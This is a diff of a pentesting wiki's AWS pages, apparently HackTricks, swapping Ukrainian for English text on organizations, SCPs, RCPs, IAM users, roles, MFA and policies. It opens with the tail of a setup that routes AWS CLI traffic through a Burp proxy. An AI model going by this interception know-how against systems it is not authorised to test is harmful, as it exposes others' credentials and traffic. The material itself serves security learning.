export HTTP_PROXY=http://localhost:8080
|
||||
@@ -357,9 +380,14 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem
|
||||
# Run aws cli normally trusting burp cert
|
||||
aws ...
|
||||
```
|
||||
## Посилання
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
|
||||
- [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,339 +1,351 @@
|
||||
# AWS - Основна інформація
|
||||
# AWS - Basic Information
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Ієрархія організації
|
||||
## Organization Hierarchy
|
||||
|
||||
.png>)
|
||||
|
||||
### Облікові записи
|
||||
### Accounts
|
||||
|
||||
В AWS є **кореневий обліковий запис**, який є **батьківським контейнером для всіх облікових записів** вашої **організації**. Однак вам не потрібно використовувати цей обліковий запис для розгортання ресурсів, ви можете створити **інші облікові записи, щоб розділити різні AWS** інфраструктури між собою.
|
||||
In AWS, there is a **root account**, which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them.
|
||||
|
||||
Це дуже цікаво з точки зору **безпеки**, оскільки **один обліковий запис не зможе отримати доступ до ресурсів іншого облікового запису** (якщо спеціально не створені мости), таким чином ви можете створити межі між розгортаннями.
|
||||
This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments.
|
||||
|
||||
Отже, в організації є **два типи облікових записів** (ми говоримо про облікові записи AWS, а не облікові записи користувачів): один обліковий запис, який призначений як обліковий запис управління, і один або кілька облікових записів учасників.
|
||||
Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts.
|
||||
|
||||
- **Обліковий запис управління (кореневий обліковий запис)** - це обліковий запис, який ви використовуєте для створення організації. З облікового запису управління організації ви можете зробити наступне:
|
||||
- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following:
|
||||
|
||||
- Створювати облікові записи в організації
|
||||
- Запрошувати інші існуючі облікові записи в організацію
|
||||
- Видаляти облікові записи з організації
|
||||
- Керувати запрошеннями
|
||||
- Застосовувати політики до сутностей (корені, ОУ або облікові записи) в межах організації
|
||||
- Увімкнути інтеграцію з підтримуваними AWS сервісами для надання функціональності сервісу для всіх облікових записів в організації.
|
||||
- Можливо увійти як кореневий користувач, використовуючи електронну пошту та пароль, які використовувалися для створення цього кореневого облікового запису/організації.
|
||||
- Create accounts in the organization
|
||||
- Invite other existing accounts to the organization
|
||||
- Remove accounts from the organization
|
||||
- Manage invitations
|
||||
- Apply policies to entities (roots, OUs, or accounts) within the organization
|
||||
- Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization.
|
||||
- It's possible to login as the root user using the email and password used to create this root account/organization.
|
||||
|
||||
Обліковий запис управління має **обов'язки облікового запису платника** і відповідає за оплату всіх витрат, які накопичуються учасниками облікових записів. Ви не можете змінити обліковий запис управління організації.
|
||||
The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account.
|
||||
|
||||
- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account.
|
||||
- Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it).
|
||||
|
||||
- **Облікові записи учасників** складають всі інші облікові записи в організації. Обліковий запис може бути учасником лише однієї організації в один час. Ви можете прикріпити політику до облікового запису, щоб застосувати контролі лише до цього одного облікового запису.
|
||||
- Облікові записи учасників **повинні використовувати дійсну електронну адресу** і можуть мати **ім'я**, загалом вони не зможуть керувати виставленням рахунків (але їм можуть надати доступ до цього).
|
||||
```
|
||||
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
|
||||
```
|
||||
### **Організаційні одиниці**
|
||||
|
||||
Облікові записи можна групувати в **Організаційні одиниці (OU)**. Таким чином, ви можете створювати **політики** для Організаційної одиниці, які будуть **застосовані до всіх дочірніх облікових записів**. Зверніть увагу, що OU може мати інші OU як дочірні.
|
||||
### **Organization Units**
|
||||
|
||||
Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children.
|
||||
|
||||
```bash
|
||||
# You can get the root id from aws organizations list-roots
|
||||
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
|
||||
```
|
||||
|
||||
### Service Control Policy (SCP)
|
||||
|
||||
**Політика контролю сервісів (SCP)** - це політика, яка визначає сервіси та дії, які користувачі та ролі можуть використовувати в облікових записах, на які впливає SCP. SCP є **схожими на політики дозволів IAM**, за винятком того, що вони **не надають жодних дозволів**. Натомість SCP визначають **максимальні дозволи** для організації, організаційної одиниці (OU) або облікового запису. Коли ви прикріплюєте SCP до кореня вашої організації або OU, **SCP обмежує дозволи для суб'єктів у членських облікових записах**.
|
||||
A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**.
|
||||
|
||||
Це є ЄДИНИМ способом, яким **навіть кореневий користувач може бути зупинений** від виконання певних дій. Наприклад, його можна використовувати, щоб зупинити користувачів від вимкнення CloudTrail або видалення резервних копій.\
|
||||
Єдиний спосіб обійти це - також скомпрометувати **майстер-обліковий запис**, який налаштовує SCP (майстер-обліковий запис не може бути заблокований).
|
||||
This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\
|
||||
The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked).
|
||||
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що **SCP лише обмежують суб'єктів у обліковому записі**, тому інші облікові записи не підлягають впливу. Це означає, що наявність SCP, яка забороняє `s3:GetObject`, не зупинить людей від **доступу до публічного S3 бакету** у вашому обліковому записі.
|
||||
> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account.
|
||||
|
||||
Приклади SCP:
|
||||
SCP examples:
|
||||
|
||||
- Повна заборона кореневого облікового запису
|
||||
- Дозволити лише конкретні регіони
|
||||
- Дозволити лише сервіси зі списку дозволених
|
||||
- Заборонити GuardDuty, CloudTrail та S3 Public Block Access від
|
||||
- Deny the root account entirely
|
||||
- Only allow specific regions
|
||||
- Only allow white-listed services
|
||||
- Deny GuardDuty, CloudTrail, and S3 Public Block Access from
|
||||
|
||||
вимкнення
|
||||
being disabled
|
||||
|
||||
- Заборонити ролі безпеки/реагування на інциденти від видалення або
|
||||
- Deny security/incident response roles from being deleted or
|
||||
|
||||
модифікації.
|
||||
modified.
|
||||
|
||||
- Заборонити видалення резервних копій.
|
||||
- Заборонити створення користувачів IAM та ключів доступу
|
||||
- Deny backups from being deleted.
|
||||
- Deny creating IAM users and access keys
|
||||
|
||||
Знайдіть **приклади JSON** в [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
|
||||
Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
|
||||
|
||||
### Resource Control Policy (RCP)
|
||||
|
||||
**Політика контролю ресурсів (RCP)** - це політика, яка визначає **максимальні дозволи для ресурсів у вашій організації AWS**. RCP схожі на політики IAM за синтаксисом, але **не надають дозволів** — вони лише обмежують дозволи, які можуть бути застосовані до ресурсів іншими політиками. Коли ви прикріплюєте RCP до кореня вашої організації, організаційної одиниці (OU) або облікового запису, RCP обмежує дозволи ресурсів для всіх ресурсів у відповідному обсязі.
|
||||
A **resource control policy (RCP)** is a policy that defines the **maximum permissions for resources within your AWS organization**. RCPs are similar to IAM policies in syntax but **don’t grant permissions**—they only cap the permissions that can be applied to resources by other policies. When you attach an RCP to your organization root, an organizational unit (OU), or an account, the RCP limits resource permissions across all resources in the affected scope.
|
||||
|
||||
Це є ЄДИНИМ способом забезпечити, щоб **ресурси не перевищували попередньо визначені рівні доступу** — навіть якщо політика на основі ідентичності або ресурсів є занадто дозволяючою. Єдиний спосіб обійти ці обмеження - також змінити RCP, налаштовану обліковим записом управління вашої організації.
|
||||
This is the ONLY way to ensure that **resources cannot exceed predefined access levels**—even if an identity-based or resource-based policy is too permissive. The only way to bypass these limits is to also modify the RCP configured by your organization’s management account.
|
||||
|
||||
> [!WARNING]
|
||||
> RCP лише обмежують дозволи, які можуть мати ресурси. Вони не контролюють безпосередньо, що можуть робити суб'єкти. Наприклад, якщо RCP забороняє зовнішній доступ до S3 бакету, це забезпечує, що дозволи бакету ніколи не дозволяють дії, що виходять за межі встановленого ліміту — навіть якщо політика на основі ресурсів налаштована неправильно.
|
||||
> RCPs only restrict the permissions that resources can have. They don’t directly control what principals can do. For example, if an RCP denies external access to an S3 bucket, it ensures that the bucket’s permissions never allow actions beyond the set limit—even if a resource-based policy is misconfigured.
|
||||
|
||||
Приклади RCP:
|
||||
RCP examples:
|
||||
|
||||
- Обмежити S3 бакети так, щоб до них могли отримати доступ лише суб'єкти у вашій організації
|
||||
- Обмежити використання ключів KMS, щоб дозволити операції лише з надійних організаційних облікових записів
|
||||
- Обмежити дозволи на черги SQS, щоб запобігти несанкціонованим змінам
|
||||
- Встановити межі доступу до секретів Secrets Manager для захисту чутливих даних
|
||||
- Restrict S3 buckets so they can only be accessed by principals within your organization
|
||||
- Limit KMS key usage to only allow operations from trusted organizational accounts
|
||||
- Cap permissions on SQS queues to prevent unauthorized modifications
|
||||
- Enforce access boundaries on Secrets Manager secrets to protect sensitive data
|
||||
|
||||
Знайдіть приклади в [документації AWS Organizations Resource Control Policies](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)
|
||||
Find examples in [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)
|
||||
|
||||
### ARN
|
||||
|
||||
**Amazon Resource Name** - це **унікальна назва**, яку має кожен ресурс всередині AWS, вона складається ось так:
|
||||
**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this:
|
||||
|
||||
```
|
||||
arn:partition:service:region:account-id:resource-type/resource-id
|
||||
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
|
||||
```
|
||||
Зверніть увагу, що в AWS є 4 розділи, але лише 3 способи їх виклику:
|
||||
|
||||
Note that there are 4 partitions in AWS but only 3 ways to call them:
|
||||
|
||||
- AWS Standard: `aws`
|
||||
- AWS China: `aws-cn`
|
||||
- AWS US public Internet (GovCloud): `aws-us-gov`
|
||||
- AWS Secret (US Classified): `aws`
|
||||
|
||||
## IAM - Управління ідентифікацією та доступом
|
||||
## IAM - Identity and Access Management
|
||||
|
||||
IAM - це сервіс, який дозволяє вам керувати **Аутентифікацією**, **Авторизацією** та **Контролем доступу** у вашому обліковому записі AWS.
|
||||
IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account.
|
||||
|
||||
- **Аутентифікація** - Процес визначення особи та перевірки цієї особи. Цей процес можна поділити на: Ідентифікацію та перевірку.
|
||||
- **Авторизація** - Визначає, до чого може отримати доступ особа в системі після її аутентифікації.
|
||||
- **Контроль доступу** - Метод і процес надання доступу до захищеного ресурсу.
|
||||
- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification.
|
||||
- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it.
|
||||
- **Access Control** - The method and process of how access is granted to a secure resource
|
||||
|
||||
IAM можна визначити за його здатністю керувати, контролювати та регулювати механізми аутентифікації, авторизації та контролю доступу для особистостей до ваших ресурсів у вашому обліковому записі AWS.
|
||||
IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account.
|
||||
|
||||
### [Кореневий користувач облікового запису AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
|
||||
### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
|
||||
|
||||
Коли ви вперше створюєте обліковий запис Amazon Web Services (AWS), ви починаєте з єдиної особи для входу, яка має **повний доступ до всіх** сервісів та ресурсів AWS в обліковому записі. Це _**кореневий користувач**_ облікового запису AWS, до якого отримують доступ, увійшовши за допомогою **електронної адреси та пароля, які ви використовували для створення облікового запису**.
|
||||
When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**.
|
||||
|
||||
Зверніть увагу, що новий **адміністратор** матиме **менше прав, ніж кореневий користувач**.
|
||||
Note that a new **admin user** will have **less permissions that the root user**.
|
||||
|
||||
З точки зору безпеки рекомендується створити інших користувачів і уникати використання цього.
|
||||
From a security point of view, it's recommended to create other users and avoid using this one.
|
||||
|
||||
### [Користувачі IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
|
||||
### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
|
||||
|
||||
Користувач IAM - це сутність, яку ви створюєте в AWS, щоб **представити особу або додаток**, який використовує його для **взаємодії з AWS**. Користувач в AWS складається з імені та облікових даних (пароль та до двох ключів доступу).
|
||||
An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys).
|
||||
|
||||
Коли ви створюєте користувача IAM, ви надаєте йому **права** шляхом включення його до **групи користувачів**, яка має відповідні політики прав, або **безпосередньо прикріплюючи політики** до користувача.
|
||||
When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user.
|
||||
|
||||
Користувачі можуть мати **увімкнене MFA для входу** через консоль. API токени користувачів з увімкненим MFA не захищені MFA. Якщо ви хочете **обмежити доступ ключів API користувачів за допомогою MFA**, вам потрібно вказати в політиці, що для виконання певних дій MFA має бути присутнім (приклад [**тут**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
|
||||
#### CLI
|
||||
|
||||
- **ID ключа доступу**: 20 випадкових великих алфавітно-цифрових символів, таких як AKHDNAPO86BSHKDIRYT
|
||||
- **ID секретного ключа доступу**: 40 випадкових великих і малих літер: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (неможливо відновити втрачені ID секретного ключа доступу).
|
||||
- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT
|
||||
- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs).
|
||||
|
||||
Коли вам потрібно **змінити ключ доступу**, ви повинні дотримуватися цього процесу:\
|
||||
_Створіть новий ключ доступу -> Застосуйте новий ключ до системи/додатку -> позначте оригінальний як неактивний -> протестуйте та перевірте, що новий ключ доступу працює -> видаліть старий ключ доступу_
|
||||
Whenever you need to **change the Access Key** this is the process you should follow:\
|
||||
_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
|
||||
|
||||
### MFA - Багатофакторна аутентифікація
|
||||
### MFA - Multi Factor Authentication
|
||||
|
||||
Вона використовується для **створення додаткового фактора для аутентифікації** на додаток до ваших існуючих методів, таких як пароль, тим самим створюючи багатофакторний рівень аутентифікації.\
|
||||
Ви можете використовувати **безкоштовний віртуальний додаток або фізичний пристрій**. Ви можете безкоштовно використовувати такі додатки, як Google Authenticator, щоб активувати MFA в AWS.
|
||||
It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\
|
||||
You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS.
|
||||
|
||||
Політики з умовами MFA можуть бути прикріплені до наступного:
|
||||
Policies with MFA conditions can be attached to the following:
|
||||
|
||||
- Користувача або групи IAM
|
||||
- Ресурсу, такому як кошик Amazon S3, черга Amazon SQS або тема Amazon SNS
|
||||
- Політики довіри ролі IAM, яку може прийняти користувач
|
||||
- An IAM user or group
|
||||
- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic
|
||||
- The trust policy of an IAM role that can be assumed by a user
|
||||
|
||||
If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\
|
||||
Note that **`AssumeRole` credentials don't contain this information**.
|
||||
|
||||
Якщо ви хочете **отримати доступ через CLI** до ресурсу, який **перевіряє MFA**, вам потрібно викликати **`GetSessionToken`**. Це надасть вам токен з інформацією про MFA.\
|
||||
Зверніть увагу, що **облікові дані `AssumeRole` не містять цю інформацію**.
|
||||
```bash
|
||||
aws sts get-session-token --serial-number <arn_device> --token-code <code>
|
||||
```
|
||||
Як [**вказано тут**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), існує багато різних випадків, коли **MFA не може бути використано**.
|
||||
|
||||
### [Групи користувачів IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
|
||||
As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**.
|
||||
|
||||
Група [користувачів IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) - це спосіб **прикріпити політики до кількох користувачів** одночасно, що може спростити управління дозволами для цих користувачів. **Ролі та групи не можуть бути частиною групи**.
|
||||
### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
|
||||
|
||||
Ви можете прикріпити **політику на основі ідентичності до групи користувачів**, щоб всі **користувачі** в групі користувачів **отримали дозволи політики**. Ви **не можете** ідентифікувати **групу користувачів** як **`Principal`** у **політиці** (такій як політика на основі ресурсу), оскільки групи стосуються дозволів, а не аутентифікації, а принципи є аутентифікованими сутностями IAM.
|
||||
An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**.
|
||||
|
||||
Ось деякі важливі характеристики груп користувачів:
|
||||
You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities.
|
||||
|
||||
- Група **користувачів** може **містити багато користувачів**, а **користувач** може **належати до кількох груп**.
|
||||
- **Групи користувачів не можуть бути вкладеними**; вони можуть містити лише користувачів, а не інші групи користувачів.
|
||||
- Існує **жодна група користувачів за замовчуванням, яка автоматично включає всіх користувачів в обліковому записі AWS**. Якщо ви хочете мати таку групу користувачів, ви повинні створити її та призначити кожного нового користувача до неї.
|
||||
- Кількість і розмір ресурсів IAM в обліковому записі AWS, таких як кількість груп і кількість груп, до яких може належати користувач, обмежені. Для отримання додаткової інформації див. [Квоти IAM та AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
|
||||
Here are some important characteristics of user groups:
|
||||
|
||||
### [Ролі IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**.
|
||||
- **User groups can't be nested**; they can contain only users, not other user groups.
|
||||
- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it.
|
||||
- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
|
||||
|
||||
Роль IAM **дуже схожа** на **користувача**, оскільки це **ідентичність з політиками дозволів, які визначають, що** вона може і не може робити в AWS. Однак роль **не має жодних облікових даних** (пароль або ключі доступу), пов'язаних з нею. Замість того, щоб бути унікально пов'язаною з однією особою, роль призначена для того, щоб її **могли приймати будь-хто, хто її потребує (і має достатні дозволи)**. **Користувач IAM може прийняти роль, щоб тимчасово** отримати різні дозволи для конкретного завдання. Роль може бути **призначена** [**федеративному користувачу**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html), який входить, використовуючи зовнішнього постачальника ідентичності замість IAM.
|
||||
### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
|
||||
Роль IAM складається з **двох типів політик**: **політики довіри**, яка не може бути порожньою, що визначає **хто може прийняти** роль, і **політики дозволів**, яка не може бути порожньою, що визначає **до чого вона може отримати доступ**.
|
||||
An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM.
|
||||
|
||||
#### Служба безпеки токенів AWS (STS)
|
||||
An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**.
|
||||
|
||||
Служба безпеки токенів AWS (STS) - це веб-сервіс, який полегшує **видачу тимчасових, обмежених привілеїв облікових даних**. Вона спеціально призначена для:
|
||||
#### AWS Security Token Service (STS)
|
||||
|
||||
### [Тимчасові облікові дані в IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for:
|
||||
|
||||
**Тимчасові облікові дані в основному використовуються з ролями IAM**, але є й інші використання. Ви можете запитати тимчасові облікові дані, які мають більш обмежений набір дозволів, ніж ваш стандартний користувач IAM. Це **запобігає** вам **випадковому виконанню завдань, які не дозволені** більш обмеженими обліковими даними. Перевагою тимчасових облікових даних є те, що вони автоматично закінчуються після встановленого періоду часу. Ви контролюєте тривалість, протягом якої облікові дані є дійсними.
|
||||
### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
|
||||
### Політики
|
||||
**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid.
|
||||
|
||||
#### Дозволи політики
|
||||
### Policies
|
||||
|
||||
Використовуються для призначення дозволів. Є 2 типи:
|
||||
#### Policy Permissions
|
||||
|
||||
- Політики, керовані AWS (попередньо налаштовані AWS)
|
||||
- Політики, керовані клієнтом: Налаштовані вами. Ви можете створювати політики на основі політик, керованих AWS (модифікуючи одну з них і створюючи свою), використовуючи генератор політик (GUI, який допомагає вам надавати та відмовляти в дозволах) або написавши свої власні.
|
||||
Are used to assign permissions. There are 2 types:
|
||||
|
||||
- AWS managed policies (preconfigured by AWS)
|
||||
- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own..
|
||||
|
||||
By **default access** is **denied**, access will be granted if an explicit role has been specified.\
|
||||
If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default).
|
||||
|
||||
За **замовчуванням доступ** є **забороненим**, доступ буде надано, якщо явно вказано роль.\
|
||||
Якщо **існує єдине "Заперечення", воно переважатиме "Дозволити"**, за винятком запитів, які використовують облікові дані безпеки кореневого облікового запису AWS (які за замовчуванням дозволені).
|
||||
```javascript
|
||||
{
|
||||
"Version": "2012-10-17", //Version of the policy
|
||||
"Statement": [ //Main element, there can be more than 1 entry in this array
|
||||
{
|
||||
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
|
||||
"Effect": "Allow", //Allow or deny
|
||||
"Action": [ //Actions that will be allowed or denied
|
||||
"ec2:AttachVolume",
|
||||
"ec2:DetachVolume"
|
||||
],
|
||||
"Resource": [ //Resource the action and effect will be applied to
|
||||
"arn:aws:ec2:*:*:volume/*",
|
||||
"arn:aws:ec2:*:*:instance/*"
|
||||
],
|
||||
"Condition": { //Optional element that allow to control when the permission will be effective
|
||||
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
|
||||
}
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17", //Version of the policy
|
||||
"Statement": [ //Main element, there can be more than 1 entry in this array
|
||||
{
|
||||
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
|
||||
"Effect": "Allow", //Allow or deny
|
||||
"Action": [ //Actions that will be allowed or denied
|
||||
"ec2:AttachVolume",
|
||||
"ec2:DetachVolume"
|
||||
],
|
||||
"Resource": [ //Resource the action and effect will be applied to
|
||||
"arn:aws:ec2:*:*:volume/*",
|
||||
"arn:aws:ec2:*:*:instance/*"
|
||||
],
|
||||
"Condition": { //Optional element that allow to control when the permission will be effective
|
||||
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Глобальні поля, які можна використовувати для умов у будь-якій службі, задокументовані тут.\
|
||||
Специфічні поля, які можна використовувати для умов для кожної служби, задокументовані тут.
|
||||
|
||||
#### Вбудовані політики
|
||||
The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
|
||||
The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
|
||||
|
||||
Цей вид політик **безпосередньо призначається** користувачу, групі або ролі. Тоді вони не з'являються у списку політик, оскільки інші не можуть їх використовувати.\
|
||||
Вбудовані політики корисні, якщо ви хочете **підтримувати строгі однозначні відносини між політикою та ідентичністю**, до якої вона застосовується. Наприклад, ви хочете бути впевненими, що дозволи в політиці не призначені ненавмисно іншій ідентичності, окрім тієї, для якої вони призначені. Коли ви використовуєте вбудовану політику, дозволи в політиці не можуть бути ненавмисно прикріплені до неправильної ідентичності. Крім того, коли ви використовуєте AWS Management Console для видалення цієї ідентичності, політики, вбудовані в ідентичність, також видаляються. Це тому, що вони є частиною основної сутності.
|
||||
#### Inline Policies
|
||||
|
||||
#### Політики ресурсних кошиків
|
||||
This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\
|
||||
Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity.
|
||||
|
||||
Це **політики**, які можуть бути визначені в **ресурсах**. **Не всі ресурси AWS підтримують їх**.
|
||||
#### Resource Bucket Policies
|
||||
|
||||
Якщо у основної сутності немає явного заборони на них, і політика ресурсу надає їм доступ, тоді їм дозволено.
|
||||
These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**.
|
||||
|
||||
### Межі IAM
|
||||
If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed.
|
||||
|
||||
Межі IAM можна використовувати для **обмеження дозволів, до яких користувач або роль повинні мати доступ**. Таким чином, навіть якщо інший набір дозволів надається користувачу іншою **політикою**, операція **не вдасться**, якщо він спробує їх використати.
|
||||
### IAM Boundaries
|
||||
|
||||
Межа - це просто політика, прикріплена до користувача, яка **вказує максимальний рівень дозволів, які користувач або роль можуть мати**. Отже, **навіть якщо у користувача є доступ адміністратора**, якщо межа вказує, що він може лише читати S· кошики, це максимальне, що він може зробити.
|
||||
IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them.
|
||||
|
||||
**Це**, **SCP** та **дотримання принципу найменших привілеїв** - це способи контролю, щоб користувачі не мали більше дозволів, ніж їм потрібно.
|
||||
